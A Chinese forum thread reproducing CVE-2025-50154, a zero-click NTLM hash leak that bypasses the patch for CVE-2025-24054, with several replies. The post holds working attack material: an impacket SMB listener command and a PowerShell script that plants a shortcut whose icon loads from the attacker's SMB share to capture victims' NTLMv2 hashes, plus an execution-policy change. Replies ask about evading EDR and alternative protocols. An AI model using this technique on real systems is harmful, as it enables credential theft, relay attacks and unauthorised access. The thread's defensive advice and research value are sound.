深度复现CVE-2025-50154获取NTLM哈希
该漏洞简介:该漏洞允许攻击者在没有任何用户交互的情况下提取 NTLM 哈希值,攻击者可以自动触发 NTLM 身份验证请求,从而实现离线破解或中继攻击以获得未经授权的访问。NTLM 是 Microsoft 的一系列身份验证协议,用于确认用户身份和保护网络通信。它通过直接的客户端-服务器“质询/响应”过程工作,服务器发出质询,客户端证明其身份,而无需通过网络传输实际密码。虽然 NTLMv2 受到保护,可以抵御彩虹表和传递哈希等预计算攻击,但捕获的哈希值仍然可以被利用。攻击者可能会尝试暴力破解它们离线或使用中继攻击,将窃取的哈希值传递给另一个服务以用户身份登录。如果被入侵的帐户具有提升的权限,这可能会很快导致权限升级和横向移动。即使在 Microsoft 针对该问题进行补丁后,安全研究员也找到了一种绕过它并仍然获得 NTLM 哈希的方法,证明威胁并未完全消除,这就是CVE-2025-50154,而它之前的漏洞是CVE-2025-24054。
1.1:原文链接:https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/
1.2:旧漏洞:-CVE-2025-24054
2.1:基础环境:Kali Linux
未打补丁的Windows 10
2.2:复现:Kali Linux启动impacket渗透组件,开启一个 SMB 服务器来侦听传入的 SMB 连接
1:impacket-smbserver:为对应的impacket渗透组件
2:share .:指将当前目录作为share共享
3:smb2support:开启SMB服务支持
然后在受害机执行如下PowerShell脚本,新建一个PowerShell脚本文件1.ps1,写入如下内容(注意替换为自己的Kali Linux IP地址,此处我的Kali Linux IP地址为192.168.48.129):
# lnk文件的地址,若要复现请替换为自己的地址
$shortcutPath = "C:\Users\Divide\Desktop\lab.lnk"
# 目标程序的路径
$targetPath = "C:\Windows\System32\notepad.exe"
# 指定快捷方式使用的图标文件(.ico)的位置为远程地址,此处为关键点,只有设置为远程地址,才能让他访问我们开启的SMB服务器
$iconLocation = "\\192.168.48.129\share\icon.ico"
# 创建一个 Windows Script Host Shell 对象(通过 COM 组件 WScript.Shell)。
# 这个对象提供了操作快捷方式、环境变量、执行程序等能力。
# 将该对象赋值给变量$wShell,后续通过它来创建和管理快捷方式。
$wShell = New-Object -ComObject WScript.Shell
# 如果该路径已存在快捷方式,则会覆盖;如果不存在,则创建一个新的快捷方式对象
$shortcut = $wShell.CreateShortcut($shortcutPath)
# 设置快捷方式的“目标”属性,即点击快捷方式时要启动的程序路径
$shortcut.TargetPath = $targetPath
# 这里使用的是远程网络路径中的 .ico 图标文件
$shortcut.IconLocation = $iconLocation
# 对快捷方式对象的修改保存到磁盘中
$shortcut.Save()
Write-Output "Shortcut created at: $shortcutPath
将创建一个带有基于 SMB 的远程图标的 LNK(LNK就是快捷方式,带有一个图标)
运行它,通过查看资源管理器中的图标,我们将获得当前正在运行的用户打开 explorer.exe(资源管理器) 进程的 NTLMv2-SSP 哈希值。若PowerShell执行报错,执行如下命令输入y即可执行我们编写的PowerShell脚本
set-ExecutionPolicy RemoteSigned
y
当运行成功后,结果如下,成功获取到对应用户的hash值:
2.3:对应补丁及漏洞信息:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054
Re: 深度复现CVE-2025-50154获取NTLM哈希
感谢楼主分享这么详细的复现过程,特别是把PowerShell脚本和原理都讲清楚了。CVE-2025-50154这个绕过补丁的漏洞确实值得关注,远程图标加载SMB的方式隐蔽性很高,利用门槛也不算高。建议Windows用户尽快打上最新安全更新,同时在环境中禁用不必要的NTLM或启用防护措施,比如SMB签名和阻止出站SMB连接。另外,楼主有测试过打补丁后的Windows 11或Server版本是否仍然受影响吗?Re: 深度复现CVE-2025-50154获取NTLM哈希
感谢楼主的技术分享,这个绕过补丁的思路确实很有意思。通过远程图标触发NTLM认证的方式,很巧妙地利用了资源管理器的自动加载行为,实现零点击获取哈希。复现步骤写得也很清晰,对理解漏洞利用流程很有帮助。 想请教一下,在测试中是否遇到过杀软或EDR对创建异常图标路径的快捷方式产生告警?另外,如果目标机器禁止使用SMB出站连接,这个手法是否还有其他可行替代方案(比如改用WebDAV或其它协议)? 再次感谢楼主的详细复现!Re: 深度复现CVE-2025-50154获取NTLM哈希
感谢楼主分享这么详细的复现过程。这个利用远程图标路径触发NTLM请求的思路确实很巧妙,特别是通过快捷方式自动发起SMB连接来捕获哈希,不需要用户点击任何额外操作。想问一下,在受害者机执行PowerShell脚本时,如果Windows Defender或者用户权限受限,脚本会不会被拦截?另外,补丁后创建一个普通图标文件是否就完全堵死了这个入口?Re: 深度复现CVE-2025-50154获取NTLM哈希
感谢楼主分享这么详细的复现过程!从漏洞原理到环境搭建、脚本编写再到结果验证,步骤清晰,很有实操价值。特别是提到了旧漏洞CVE-2025-24054及补丁绕过思路,对理解NTLM哈希泄漏的风险很有帮助。还想请教一下:在实际攻防场景中,如果目标机器已经打了补丁,还有哪些常见的触发NTLM请求的向量值得关注?再次感谢你的技术分享!
页:
[1]